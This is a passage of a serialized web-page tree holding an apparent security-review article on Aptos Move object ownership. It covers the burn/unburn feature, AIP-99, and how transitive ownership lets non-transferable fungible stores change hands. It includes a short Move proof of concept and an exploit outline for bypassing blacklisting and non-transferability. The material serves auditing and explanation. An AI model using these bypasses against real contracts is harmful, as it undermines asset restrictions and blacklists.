alue":63990},{"type":25,"tag":201,"props":65125,"children":65126},{"style":220},[65127],{"type":31,"value":919},{"type":25,"tag":201,"props":65129,"children":65130},{"style":246},[65131],{"type":31,"value":65132},"original_owner",{"type":25,"tag":201,"props":65134,"children":65135},{"style":220},[65136],{"type":31,"value":64013},{"type":25,"tag":201,"props":65138,"children":65139},{"style":261},[65140],{"type":31,"value":4988},{"type":25,"tag":201,"props":65142,"children":65143},{"style":214},[65144],{"type":31,"value":64899},{"type":25,"tag":201,"props":65146,"children":65147},{"style":220},[65148],{"type":31,"value":65149},"(ENOT_OBJECT_OWNER));\n",{"type":25,"tag":201,"props":65151,"children":65152},{"class":203,"line":311},[65153,65157,65162,65166,65170,65174],{"type":25,"tag":201,"props":65154,"children":65155},{"style":208},[65156],{"type":31,"value":4508},{"type":25,"tag":201,"props":65158,"children":65159},{"style":246},[65160],{"type":31,"value":65161}," object_addr",{"type":25,"tag":201,"props":65163,"children":65164},{"style":261},[65165],{"type":31,"value":413},{"type":25,"tag":201,"props":65167,"children":65168},{"style":246},[65169],{"type":31,"value":63574},{"type":25,"tag":201,"props":65171,"children":65172},{"style":261},[65173],{"type":31,"value":80},{"type":25,"tag":201,"props":65175,"children":65176},{"style":220},[65177],{"type":31,"value":65178},"inner;\n",{"type":25,"tag":201,"props":65180,"children":65181},{"class":203,"line":330},[65182,65186,65190,65194,65199,65203,65208,65212,65217,65221,65225],{"type":25,"tag":201,"props":65183,"children":65184},{"style":214},[65185],{"type":31,"value":64177},{"type":25,"tag":201,"props":65187,"children":65188},{"style":220},[65189],{"type":31,"value":298},{"type":25,"tag":201,"props":65191,"children":65192},{"style":261},[65193],{"type":31,"value":4615},{"type":25,"tag":201,"props":65195,"children":65196},{"style":214},[65197],{"type":31,"value":65198},"create_signer",{"type":25,"tag":201,"props":65200,"children":65201},{"style":220},[65202],{"type":31,"value":298},{"type":25,"tag":201,"props":65204,"children":65205},{"style":246},[65206],{"type":31,"value":65207},"object_addr",{"type":25,"tag":201,"props":65209,"children":65210},{"style":220},[65211],{"type":31,"value":16674},{"type":25,"tag":201,"props":65213,"children":65214},{"style":4925},[65215],{"type":31,"value":65216},"TombStone",{"type":25,"tag":201,"props":65218,"children":65219},{"style":220},[65220],{"type":31,"value":11090},{"type":25,"tag":201,"props":65222,"children":65223},{"style":246},[65224],{"type":31,"value":65132},{"type":25,"tag":201,"props":65226,"children":65227},{"style":220},[65228],{"type":31,"value":39905},{"type":25,"tag":201,"props":65230,"children":65231},{"class":203,"line":397},[65232,65237,65241,65245],{"type":25,"tag":201,"props":65233,"children":65234},{"style":214},[65235],{"type":31,"value":65236},"    transfer_raw_inner",{"type":25,"tag":201,"props":65238,"children":65239},{"style":220},[65240],{"type":31,"value":298},{"type":25,"tag":201,"props":65242,"children":65243},{"style":246},[65244],{"type":31,"value":65207},{"type":25,"tag":201,"props":65246,"children":65247},{"style":220},[65248],{"type":31,"value":65249},", BURN_ADDRESS);\n",{"type":25,"tag":201,"props":65251,"children":65252},{"class":203,"line":437},[65253],{"type":25,"tag":201,"props":65254,"children":65255},{"style":220},[65256],{"type":31,"value":1187},{"type":25,"tag":34,"props":65258,"children":65259},{},[65260,65266,65268,65273,65274,65281,65283,65288],{"type":25,"tag":115,"props":65261,"children":65263},{"className":65262},[],[65264],{"type":31,"value":65265},"unburn",{"type":31,"value":65267}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":25,"tag":115,"props":65269,"children":65271},{"className":65270},[],[65272],{"type":31,"value":64952},{"type":31,"value":20030},{"type":25,"tag":71,"props":65275,"children":65278},{"href":65276,"rel":65277},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[75],[65279],{"type":31,"value":65280},"AIP-99",{"type":31,"value":65282}," is a proposal to roll back the ",{"type":25,"tag":115,"props":65284,"children":65286},{"className":65285},[],[65287],{"type":31,"value":64944},{"type":31,"value":65289}," feature, but previously burned objects will remain restorable.",{"type":25,"tag":4439,"props":65291,"children":65292},{},[65293],{"type":25,"tag":34,"props":65294,"children":65295},{},[65296,65298,65302],{"type":31,"value":65297},"This ",{"type":25,"tag":201,"props":65299,"children":65300},{},[65301],{"type":31,"value":65280},{"type":31,"value":65303}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":25,"tag":34,"props":65305,"children":65306},{},[65307,65309,65315,65317,65322,65324,65329],{"type":31,"value":65308},"Another important thing is that ",{"type":25,"tag":115,"props":65310,"children":65312},{"className":65311},[],[65313],{"type":31,"value":65314},"fungible_asset::set_untransferable",{"type":31,"value":65316}," can be used to make all new ",{"type":25,"tag":115,"props":65318,"children":65320},{"className":65319},[],[65321],{"type":31,"value":63660},{"type":31,"value":65323}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":25,"tag":115,"props":65325,"children":65327},{"className":65326},[],[65328],{"type":31,"value":63156},{"type":31,"value":80},{"type":25,"tag":34,"props":65331,"children":65332},{},[65333,65335,65340,65342,65348,65350,65355,65357,65362],{"type":31,"value":65334},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":25,"tag":115,"props":65336,"children":65338},{"className":65337},[],[65339],{"type":31,"value":63156},{"type":31,"value":65341},", X can withdraw from that store. This is because ",{"type":25,"tag":115,"props":65343,"children":65345},{"className":65344},[],[65346],{"type":31,"value":65347},"fungible_asset::withdraw",{"type":31,"value":65349}," uses ",{"type":25,"tag":115,"props":65351,"children":65353},{"className":65352},[],[65354],{"type":31,"value":64674},{"type":31,"value":65356}," to verify both direct and indirect ownership of the ",{"type":25,"tag":115,"props":65358,"children":65360},{"className":65359},[],[65361],{"type":31,"value":63156},{"type":31,"value":51254},{"type":25,"tag":191,"props":65364,"children":65366},{"className":4487,"code":65365,"language":4486,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n        [...]\n    while (owner != current_address) {\n        count = count + 1;\n        [...]\n        assert!(\n            exists\u003CObjectCore>(current_address),\n            error::permission_denied(ENOT_OBJECT_OWNER),\n        );\n        let object = borrow_global\u003CObjectCore>(current_address);\n        current_address = object.owner;\n    };\n}\n",[65367],{"type":25,"tag":115,"props":65368,"children":65369},{"__ignoreMap":7},[65370,65431,65447,65477,65506,65521,65533,65563,65584,65591,65631,65656,65663],{"type":25,"tag":201,"props":65371,"children":65372},{"class":203,"line":204},[65373,65377,65382,65386,65390,65394,65398,65402,65407,65411,65415,65419,65423,65427],{"type":25,"tag":201,"props":65374,"children":65375},{"style":246},[65376],{"type":31,"value":8616},{"type":25,"tag":201,"props":65378,"children":65379},{"style":214},[65380],{"type":31,"value":65381}," verify_ungated_and_descendant",{"type":25,"tag":201,"props":65383,"children":65384},{"style":220},[65385],{"type":31,"value":298},{"type":25,"tag":201,"props":65387,"children":65388},{"style":246},[65389],{"type":31,"value":17105},{"type":25,"tag":201,"props":65391,"children":65392},{"style":261},[65393],{"type":31,"value":5997},{"type":25,"tag":201,"props":65395,"children":65396},{"style":246},[65397],{"type":31,"value":7758},{"type":25,"tag":201,"props":65399,"children":65400},{"style":220},[65401],{"type":31,"value":919},{"type":25,"tag":201,"props":65403,"children":65404},{"style":246},[65405],{"type":31,"value":65406},"destination",{"type":25,"tag":201,"props":65408,"children":65409},{"style":261},[65410],{"type":31,"value":5997},{"type":25,"tag":201,"props":65412,"children":65413},{"style":246},[65414],{"type":31,"value":7758},{"type":25,"tag":201,"props":65416,"children":65417},{"style":220},[65418],{"type":31,"value":385},{"type":25,"tag":201,"props":65420,"children":65421},{"style":246},[65422],{"type":31,"value":7852},{"type":25,"tag":201,"props":65424,"children":65425},{"style":4925},[65426],{"type":31,"value":65054},{"type":25,"tag":201,"props":65428,"children":65429},{"style":220},[65430],{"type":31,"value":327},{"type":25,"tag":201,"props":65432,"children":65433},{"class":203,"line":226},[65434,65439,65443],{"type":25,"tag":201,"props":65435,"children":65436},{"style":220},[65437],{"type":31,"value":65438},"        [",{"type":25,"tag":201,"props":65440,"children":65441},{"style":261},[65442],{"type":31,"value":11095},{"type":25,"tag":201,"props":65444,"children":65445},{"style":220},[65446],{"type":31,"value":13274},{"type":25,"tag":201,"props":65448,"children":65449},{"class":203,"line":278},[65450,65455,65459,65463,65468,65473],{"type":25,"tag":201,"props":65451,"children":65452},{"style":230},[65453],{"type":31,"value":65454},"    while",{"type":25,"tag":201,"props":65456,"children":65457},{"style":220},[65458],{"type":31,"value":238},{"type":25,"tag":201,"props":65460,"children":65461},{"style":246},[65462],{"type":31,"value":17105},{"type":25,"tag":201,"props":65464,"children":65465},{"style":261},[65466],{"type":31,"value":65467}," !=",{"type":25,"tag":201,"props":65469,"children":65470},{"style":246},[65471],{"type":31,"value":65472}," current_address",{"type":25,"tag":201,"props":65474,"children":65475},{"style":220},[65476],{"type":31,"value":275},{"type":25,"tag":201,"props":65478,"children":65479},{"class":203,"line":311},[65480,65485,65489,65494,65498,65502],{"type":25,"tag":201,"props":65481,"children":65482},{"style":246},[65483],{"type":31,"value":65484},"        count",{"type":25,"tag":201,"props":65486,"children":65487},{"style":261},[65488],{"type":31,"value":413},{"type":25,"tag":201,"props":65490,"children":65491},{"style":246},[65492],{"type":31,"value":65493}," count",{"type":25,"tag":201,"props":65495,"children":65496},{"style":261},[65497],{"type":31,"value":10412},{"type":25,"tag":201,"props":65499,"children":65500},{"style":426},[65501],{"type":31,"value":6029},{"type":25,"tag":201,"props":65503,"children":65504},{"style":220},[65505],{"type":31,"value":461},{"type":25,"tag":201,"props":65507,"children":65508},{"class":203,"line":330},[65509,65513,65517],{"type":25,"tag":201,"props":65510,"children":65511},{"style":220},[65512],{"type":31,"value":65438},{"type":25,"tag":201,"props":65514,"children":65515},{"style":261},[65516],{"type":31,"value":11095},{"type":25,"tag":201,"props":65518,"children":65519},{"style":220},[65520],{"type":31,"value":13274},{"type":25,"tag":201,"props":65522,"children":65523},{"class":203,"line":397},[65524,65529],{"type":25,"tag":201,"props":65525,"children":65526},{"style":214},[65527],{"type":31,"value":65528},"        assert!",{"type":25,"tag":201,"props":65530,"children":65531},{"style":220},[65532],{"type":31,"value":4970},{"type":25,"tag":201,"props":65534,"children":65535},{"class":203,"line":437},[65536,65541,65545,65550,65554,65559],{"type":25,"tag":201,"props":65537,"children":65538},{"style":246},[65539],{"type":31,"value":65540},"            exists",{"type":25,"tag":201,"props":65542,"children":65543},{"style":220},[65544],{"type":31,"value":1298},{"type":25,"tag":201,"props":65546,"children":65547},{"style":4925},[65548],{"type":31,"value":65549},"ObjectCore",{"type":25,"tag":201,"props":65551,"children":65552},{"style":220},[65553],{"type":31,"value":9120},{"type":25,"tag":201,"props":65555,"children":65556},{"style":246},[65557],{"type":31,"value":65558},"current_address",{"type":25,"tag":201,"props":65560,"children":65561},{"style":220},[65562],{"type":31,"value":8245},{"type":25,"tag":201,"props":65564,"children":65565},{"class":203,"line":464},[65566,65571,65575,65579],{"type":25,"tag":201,"props":65567,"children":65568},{"style":220},[65569],{"type":31,"value":65570},"            error",{"type":25,"tag":201,"props":65572,"children":65573},{"style":261},[65574],{"type":31,"value":4988},{"type":25,"tag":201,"props":65576,"children":65577},{"style":214},[65578],{"type":31,"value":64899},{"type":25,"tag":201,"props":65580,"children":65581},{"style":220},[65582],{"type":31,"value":65583},"(ENOT_OBJECT_OWNER),\n",{"type":25,"tag":201,"props":65585,"children":65586},{"class":203,"line":490},[65587],{"type":25,"tag":201,"props":65588,"children":65589},{"style":220},[65590],{"type":31,"value":9252},{"type":25,"tag":201,"props":65592,"children":65593},{"class":203,"line":499},[65594,65598,65602,65606,65611,65615,65619,65623,65627],{"type":25,"tag":201,"props":65595,"children":65596},{"style":208},[65597],{"type":31,"value":1897},{"type":25,"tag":201,"props":65599,"children":65600},{"style":246},[65601],{"type":31,"value":63574},{"type":25,"tag":201,"props":65603,"children":65604},{"style":261},[65605],{"type":31,"value":413},{"type":25,"tag":201,"props":65607,"children":65608},{"style":246},[65609],{"type":31,"value":65610}," borrow_global",{"type":25,"tag":201,"props":65612,"children":65613},{"style":220},[65614],{"type":31,"value":1298},{"type":25,"tag":201,"props":65616,"children":65617},{"style":4925},[65618],{"type":31,"value":65549},{"type":25,"tag":201,"props":65620,"children":65621},{"style":220},[65622],{"type":31,"value":9120},{"type":25,"tag":201,"props":65624,"children":65625},{"style":246},[65626],{"type":31,"value":65558},{"type":25,"tag":201,"props":65628,"children":65629},{"style":220},[65630],{"type":31,"value":308},{"type":25,"tag":201,"props":65632,"children":65633},{"class":203,"line":522},[65634,65639,65643,65647,65651],{"type":25,"tag":201,"props":65635,"children":65636},{"style":246},[65637],{"type":31,"value":65638},"        current_address",{"type":25,"tag":201,"props":65640,"children":65641},{"style":261},[65642],{"type":31,"value":413},{"type":25,"tag":201,"props":65644,"children":65645},{"style":246},[65646],{"type":31,"value":63574},{"type":25,"tag":201,"props":65648,"children":65649},{"style":261},[65650],{"type":31,"value":80},{"type":25,"tag":201,"props":65652,"children":65653},{"style":220},[65654],{"type":31,"value":65655},"owner;\n",{"type":25,"tag":201,"props":65657,"children":65658},{"class":203,"line":531},[65659],{"type":25,"tag":201,"props":65660,"children":65661},{"style":220},[65662],{"type":31,"value":40067},{"type":25,"tag":201,"props":65664,"children":65665},{"class":203,"line":550},[65666],{"type":25,"tag":201,"props":65667,"children":65668},{"style":220},[65669],{"type":31,"value":1187},{"type":25,"tag":34,"props":65671,"children":65672},{},[65673,65675,65680],{"type":31,"value":65674},"This could allow for bypassing assumptions about ",{"type":25,"tag":115,"props":65676,"children":65678},{"className":65677},[],[65679],{"type":31,"value":63156},{"type":31,"value":65681}," true ownership and its non-transferability.",{"type":25,"tag":191,"props":65683,"children":65685},{"className":4487,"code":65684,"language":4486,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n    let constructor_ref = object::create_object(signer::address_of(caller));\n    let object_addr = object::address_from_constructor_ref(&constructor_ref);\n    let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n    object::transfer_raw(caller, object_addr, receipient);\n    //receipient can interact with store by using their signer\n}\n",[65686],{"type":25,"tag":115,"props":65687,"children":65688},{"__ignoreMap":7},[65689,65747,65800,65844,65892,65899,65944,65952],{"type":25,"tag":201,"props":65690,"children":65691},{"class":203,"line":204},[65692,65696,65700,65705,65709,65714,65718,65722,65726,65730,65735,65739,65743],{"type":25,"tag":201,"props":65693,"children":65694},{"style":246},[65695],{"type":31,"value":62755},{"type":25,"tag":201,"props":65697,"children":65698},{"style":246},[65699],{"type":31,"value":7715},{"type":25,"tag":201,"props":65701,"children":65702},{"style":214},[65703],{"type":31,"value":65704}," untransferable_transfer",{"type":25,"tag":201,"props":65706,"children":65707},{"style":220},[65708],{"type":31,"value":298},{"type":25,"tag":201,"props":65710,"children":65711},{"style":246},[65712],{"type":31,"value":65713},"caller",{"type":25,"tag":201,"props":65715,"children":65716},{"style":261},[65717],{"type":31,"value":5997},{"type":25,"tag":201,"props":65719,"children":65720},{"style":261},[65721],{"type":31,"value":8650},{"type":25,"tag":201,"props":65723,"children":65724},{"style":246},[65725],{"type":31,"value":8655},{"type":25,"tag":201,"props":65727,"children":65728},{"style":220},[65729],{"type":31,"value":919},{"type":25,"tag":201,"props":65731,"children":65732},{"style":246},[65733],{"type":31,"value":65734},"receipient",{"type":25,"tag":201,"props":65736,"children":65737},{"style":261},[65738],{"type":31,"value":5997},{"type":25,"tag":201,"props":65740,"children":65741},{"style":246},[65742],{"type":31,"value":7758},{"type":25,"tag":201,"props":65744,"children":65745},{"style":220},[65746],{"type":31,"value":275},{"type":25,"tag":201,"props":65748,"children":65749},{"class":203,"line":226},[65750,65754,65759,65763,65767,65771,65776,65780,65784,65788,65792,65796],{"type":25,"tag":201,"props":65751,"children":65752},{"style":208},[65753],{"type":31,"value":4508},{"type":25,"tag":201,"props":65755,"children":65756},{"style":246},[65757],{"type":31,"value":65758}," constructor_ref",{"type":25,"tag":201,"props":65760,"children":65761},{"style":261},[65762],{"type":31,"value":413},{"type":25,"tag":201,"props":65764,"children":65765},{"style":220},[65766],{"type":31,"value":63574},{"type":25,"tag":201,"props":65768,"children":65769},{"style":261},[65770],{"type":31,"value":4988},{"type":25,"tag":201,"props":65772,"children":65773},{"style":214},[65774],{"type":31,"value":65775},"create_object",{"type":25,"tag":201,"props":65777,"children":65778},{"style":220},[65779],{"type":31,"value":8709},{"type":25,"tag":201,"props":65781,"children":65782},{"style":261},[65783],{"type":31,"value":4988},{"type":25,"tag":201,"props":65785,"children":65786},{"style":214},[65787],{"type":31,"value":8718},{"type":25,"tag":201,"props":65789,"children":65790},{"style":220},[65791],{"type":31,"value":298},{"type":25,"tag":201,"props":65793,"children":65794},{"style":246},[65795],{"type":31,"value":65713},{"type":25,"tag":201,"props":65797,"children":65798},{"style":220},[65799],{"type":31,"value":8732},{"type":25,"tag":201,"props":65801,"children":65802},{"class":203,"line":278},[65803,65807,65811,65815,65819,65823,65828,65832,65836,65840],{"type":25,"tag":201,"props":65804,"children":65805},{"style":208},[65806],{"type":31,"value":4508},{"type":25,"tag":201,"props":65808,"children":65809},{"style":246},[65810],{"type":31,"value":65161},{"type":25,"tag":201,"props":65812,"children":65813},{"style":261},[65814],{"type":31,"value":413},{"type":25,"tag":201,"props":65816,"children":65817},{"style":220},[65818],{"type":31,"value":63574},{"type":25,"tag":201,"props":65820,"children":65821},{"style":261},[65822],{"type":31,"value":4988},{"type":25,"tag":201,"props":65824,"children":65825},{"style":214},[65826],{"type":31,"value":65827},"address_from_constructor_ref",{"type":25,"tag":201,"props":65829,"children":65830},{"style":220},[65831],{"type":31,"value":298},{"type":25,"tag":201,"props":65833,"children":65834},{"style":261},[65835],{"type":31,"value":4615},{"type":25,"tag":201,"props":65837,"children":65838},{"style":246},[65839],{"type":31,"value":64008},{"type":25,"tag":201,"props":65841,"children":65842},{"style":220},[65843],{"type":31,"value":308},{"type":25,"tag":201,"props":65845,"children":65846},{"class":203,"line":311},[65847,65851,65855,65859,65864,65868,65872,65876,65880,65884,65888],{"type":25,"tag":201,"props":65848,"children":65849},{"style":208},[65850],{"type":31,"value":4508},{"type":25,"tag":201,"props":65852,"children":65853},{"style":246},[65854],{"type":31,"value":7340},{"type":25,"tag":201,"props":65856,"children":65857},{"style":261},[65858],{"type":31,"value":413},{"type":25,"tag":201,"props":65860,"children":65861},{"style":220},[65862],{"type":31,"value":65863}," primary_fungible_store",{"type":25,"tag":201,"props":65865,"children":65866},{"style":261},[65867],{"type":31,"value":4988},{"type":25,"tag":201,"props":65869,"children":65870},{"style":214},[65871],{"type":31,"value":63900},{"type":25,"tag":201,"props":65873,"children":65874},{"style":220},[65875],{"type":31,"value":298},{"type":25,"tag":201,"props":65877,"children":65878},{"style":246},[65879],{"type":31,"value":65207},{"type":25,"tag":201,"props":65881,"children":65882},{"style":220},[65883],{"type":31,"value":919},{"type":25,"tag":201,"props":65885,"children":65886},{"style":214},[65887],{"type":31,"value":63856},{"type":25,"tag":201,"props":65889,"children":65890},{"style":220},[65891],{"type":31,"value":16921},{"type":25,"tag":201,"props":65893,"children":65894},{"class":203,"line":330},[65895],{"type":25,"tag":201,"props":65896,"children":65897},{"emptyLinePlaceholder":17},[65898],{"type":31,"value":496},{"type":25,"tag":201,"props":65900,"children":65901},{"class":203,"line":397},[65902,65907,65911,65916,65920,65924,65928,65932,65936,65940],{"type":25,"tag":201,"props":65903,"children":65904},{"style":220},[65905],{"type":31,"value":65906},"    object",{"type":25,"tag":201,"props":65908,"children":65909},{"style":261},[65910],{"type":31,"value":4988},{"type":25,"tag":201,"props":65912,"children":65913},{"style":214},[65914],{"type":31,"value":65915},"transfer_raw",{"type":25,"tag":201,"props":65917,"children":65918},{"style":220},[65919],{"type":31,"value":298},{"type":25,"tag":201,"props":65921,"children":65922},{"style":246},[65923],{"type":31,"value":65713},{"type":25,"tag":201,"props":65925,"children":65926},{"style":220},[65927],{"type":31,"value":919},{"type":25,"tag":201,"props":65929,"children":65930},{"style":246},[65931],{"type":31,"value":65207},{"type":25,"tag":201,"props":65933,"children":65934},{"style":220},[65935],{"type":31,"value":919},{"type":25,"tag":201,"props":65937,"children":65938},{"style":246},[65939],{"type":31,"value":65734},{"type":25,"tag":201,"props":65941,"children":65942},{"style":220},[65943],{"type":31,"value":308},{"type":25,"tag":201,"props":65945,"children":65946},{"class":203,"line":437},[65947],{"type":25,"tag":201,"props":65948,"children":65949},{"style":4497},[65950],{"type":31,"value":65951},"    //receipient can interact with store by using their signer\n",{"type":25,"tag":201,"props":65953,"children":65954},{"class":203,"line":464},[65955],{"type":25,"tag":201,"props":65956,"children":65957},{"style":220},[65958],{"type":31,"value":1187},{"type":25,"tag":34,"props":65960,"children":65961},{},[65962,65964,65971],{"type":31,"value":65963},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":25,"tag":71,"props":65965,"children":65968},{"href":65966,"rel":65967},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[75],[65969],{"type":31,"value":65970},"edge case",{"type":31,"value":65972}," involving the transfer of a non-transferable fungible store.",{"type":25,"tag":191,"props":65974,"children":65976},{"className":4487,"code":65975,"language":4486,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[65977],{"type":25,"tag":115,"props":65978,"children":65979},{"__ignoreMap":7},[65980,66045,66106,66153,66164,66199,66219,66226,66233,66248,66255,66283],{"type":25,"tag":201,"props":65981,"children":65982},{"class":203,"line":204},[65983,65987,65991,65996,66000,66004,66008,66013,66017,66021,66025,66029,66033,66037,66041],{"type":25,"tag":201,"props":65984,"children":65985},{"style":246},[65986],{"type":31,"value":62755},{"type":25,"tag":201,"props":65988,"children":65989},{"style":246},[65990],{"type":31,"value":7715},{"type":25,"tag":201,"props":65992,"children":65993},{"style":214},[65994],{"type":31,"value":65995}," transfer_with_ref",{"type":25,"tag":201,"props":65997,"children":65998},{"style":220},[65999],{"type":31,"value":298},{"type":25,"tag":201,"props":66001,"children":66002},{"style":208},[66003],{"type":31,"value":64417},{"type":25,"tag":201,"props":66005,"children":66006},{"style":261},[66007],{"type":31,"value":5997},{"type":25,"tag":201,"props":66009,"children":66010},{"style":4925},[66011],{"type":31,"value":66012}," LinearTransferRef",{"type":25,"tag":201,"props":66014,"children":66015},{"style":220},[66016],{"type":31,"value":919},{"type":25,"tag":201,"props":66018,"children":66019},{"style":246},[66020],{"type":31,"value":1655},{"type":25,"tag":201,"props":66022,"children":66023},{"style":261},[66024],{"type":31,"value":5997},{"type":25,"tag":201,"props":66026,"children":66027},{"style":246},[66028],{"type":31,"value":7758},{"type":25,"tag":201,"props":66030,"children":66031},{"style":220},[66032],{"type":31,"value":385},{"type":25,"tag":201,"props":66034,"children":66035},{"style":246},[66036],{"type":31,"value":7852},{"type":25,"tag":201,"props":66038,"children":66039},{"style":4925},[66040],{"type":31,"value":65054},{"type":25,"tag":201,"props":66042,"children":66043},{"style":220},[66044],{"type":31,"value":327},{"type":25,"tag":201,"props":66046,"children":66047},{"class":203,"line":226},[66048,66052,66056,66060,66064,66068,66073,66077,66081,66085,66089,66093,66097,66101],{"type":25,"tag":201,"props":66049,"children":66050},{"style":214},[66051],{"type":31,"value":63424},{"type":25,"tag":201,"props":66053,"children":66054},{"style":220},[66055],{"type":31,"value":298},{"type":25,"tag":201,"props":66057,"children":66058},{"style":261},[66059],{"type":31,"value":4114},{"type":25,"tag":201,"props":66061,"children":66062},{"style":246},[66063],{"type":31,"value":8213},{"type":25,"tag":201,"props":66065,"children":66066},{"style":220},[66067],{"type":31,"value":1298},{"type":25,"tag":201,"props":66069,"children":66070},{"style":4925},[66071],{"type":31,"value":66072},"Untransferable",{"type":25,"tag":201,"props":66074,"children":66075},{"style":220},[66076],{"type":31,"value":9120},{"type":25,"tag":201,"props":66078,"children":66079},{"style":208},[66080],{"type":31,"value":64417},{"type":25,"tag":201,"props":66082,"children":66083},{"style":261},[66084],{"type":31,"value":80},{"type":25,"tag":201,"props":66086,"children":66087},{"style":208},[66088],{"type":31,"value":15215},{"type":25,"tag":201,"props":66090,"children":66091},{"style":220},[66092],{"type":31,"value":64013},{"type":25,"tag":201,"props":66094,"children":66095},{"style":261},[66096],{"type":31,"value":4988},{"type":25,"tag":201,"props":66098,"children":66099},{"style":214},[66100],{"type":31,"value":64899},{"type":25,"tag":201,"props":66102,"children":66103},{"style":220},[66104],{"type":31,"value":66105},"(ENOT_MOVABLE));\n",{"type":25,"tag":201,"props":66107,"children":66108},{"class":203,"line":278},[66109,66113,66117,66121,66125,66129,66133,66137,66141,66145,66149],{"type":25,"tag":201,"props":66110,"children":66111},{"style":208},[66112],{"type":31,"value":4508},{"type":25,"tag":201,"props":66114,"children":66115},{"style":246},[66116],{"type":31,"value":63574},{"type":25,"tag":201,"props":66118,"children":66119},{"style":261},[66120],{"type":31,"value":413},{"type":25,"tag":201,"props":66122,"children":66123},{"style":246},[66124],{"type":31,"value":9106},{"type":25,"tag":201,"props":66126,"children":66127},{"style":220},[66128],{"type":31,"value":1298},{"type":25,"tag":201,"props":66130,"children":66131},{"style":4925},[66132],{"type":31,"value":65549},{"type":25,"tag":201,"props":66134,"children":66135},{"style":220},[66136],{"type":31,"value":9120},{"type":25,"tag":201,"props":66138,"children":66139},{"style":208},[66140],{"type":31,"value":64417},{"type":25,"tag":201,"props":66142,"children":66143},{"style":261},[66144],{"type":31,"value":80},{"type":25,"tag":201,"props":66146,"children":66147},{"style":208},[66148],{"type":31,"value":15215},{"type":25,"tag":201,"props":66150,"children":66151},{"style":220},[66152],{"type":31,"value":308},{"type":25,"tag":201,"props":66154,"children":66155},{"class":203,"line":311},[66156,66160],{"type":25,"tag":201,"props":66157,"children":66158},{"style":214},[66159],{"type":31,"value":63424},{"type":25,"tag":201,"props":66161,"children":66162},{"style":220},[66163],{"type":31,"value":4970},{"type":25,"tag":201,"props":66165,"children":66166},{"class":203,"line":330},[66167,66172,66176,66181,66185,66190,66194],{"type":25,"tag":201,"props":66168,"children":66169},{"style":246},[66170],{"type":31,"value":66171},"        object",{"type":25,"tag":201,"props":66173,"children":66174},{"style":261},[66175],{"type":31,"value":80},{"type":25,"tag":201,"props":66177,"children":66178},{"style":220},[66179],{"type":31,"value":66180},"owner ",{"type":25,"tag":201,"props":66182,"children":66183},{"style":261},[66184],{"type":31,"value":10083},{"type":25,"tag":201,"props":66186,"children":66187},{"style":208},[66188],{"type":31,"value":66189}," ref",{"type":25,"tag":201,"props":66191,"children":66192},{"style":261},[66193],{"type":31,"value":80},{"type":25,"tag":201,"props":66195,"children":66196},{"style":220},[66197],{"type":31,"value":66198},"owner,\n",{"type":25,"tag":201,"props":66200,"children":66201},{"class":203,"line":397},[66202,66207,66211,66215],{"type":25,"tag":201,"props":66203,"children":66204},{"style":220},[66205],{"type":31,"value":66206},"        error",{"type":25,"tag":201,"props":66208,"children":66209},{"style":261},[66210],{"type":31,"value":4988},{"type":25,"tag":201,"props":66212,"children":66213},{"style":214},[66214],{"type":31,"value":64899},{"type":25,"tag":201,"props":66216,"children":66217},{"style":220},[66218],{"type":31,"value":65583},{"type":25,"tag":201,"props":66220,"children":66221},{"class":203,"line":437},[66222],{"type":25,"tag":201,"props":66223,"children":66224},{"style":220},[66225],{"type":31,"value":44730},{"type":25,"tag":201,"props":66227,"children":66228},{"class":203,"line":464},[66229],{"type":25,"tag":201,"props":66230,"children":66231},{"style":220},[66232],{"type":31,"value":62866},{"type":25,"tag":201,"props":66234,"children":66235},{"class":203,"line":490},[66236,66240,66244],{"type":25,"tag":201,"props":66237,"children":66238},{"style":220},[66239],{"type":31,"value":63798},{"type":25,"tag":201,"props":66241,"children":66242},{"style":261},[66243],{"type":31,"value":11095},{"type":25,"tag":201,"props":66245,"children":66246},{"style":220},[66247],{"type":31,"value":13274},{"type":25,"tag":201,"props":66249,"children":66250},{"class":203,"line":499},[66251],{"type":25,"tag":201,"props":66252,"children":66253},{"style":220},[66254],{"type":31,"value":62866},{"type":25,"tag":201,"props":66256,"children":66257},{"class":203,"line":522},[66258,66262,66266,66270,66274,66279],{"type":25,"tag":201,"props":66259,"children":66260},{"style":246},[66261],{"type":31,"value":65906},{"type":25,"tag":201,"props":66263,"children":66264},{"style":261},[66265],{"type":31,"value":80},{"type":25,"tag":201,"props":66267,"children":66268},{"style":220},[66269],{"type":31,"value":66180},{"type":25,"tag":201,"props":66271,"children":66272},{"style":261},[66273],{"type":31,"value":1383},{"type":25,"tag":201,"props":66275,"children":66276},{"style":246},[66277],{"type":31,"value":66278}," to",{"type":25,"tag":201,"props":66280,"children":66281},{"style":220},[66282],{"type":31,"value":461},{"type":25,"tag":201,"props":66284,"children":66285},{"class":203,"line":531},[66286],{"type":25,"tag":201,"props":66287,"children":66288},{"style":220},[66289],{"type":31,"value":1187},{"type":25,"tag":34,"props":66291,"children":66292},{},[66293,66295,66300,66302,66307],{"type":31,"value":66294},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":25,"tag":115,"props":66296,"children":66298},{"className":66297},[],[66299],{"type":31,"value":64952},{"type":31,"value":66301},"), transferring it to another user, and then registering a non-transferable 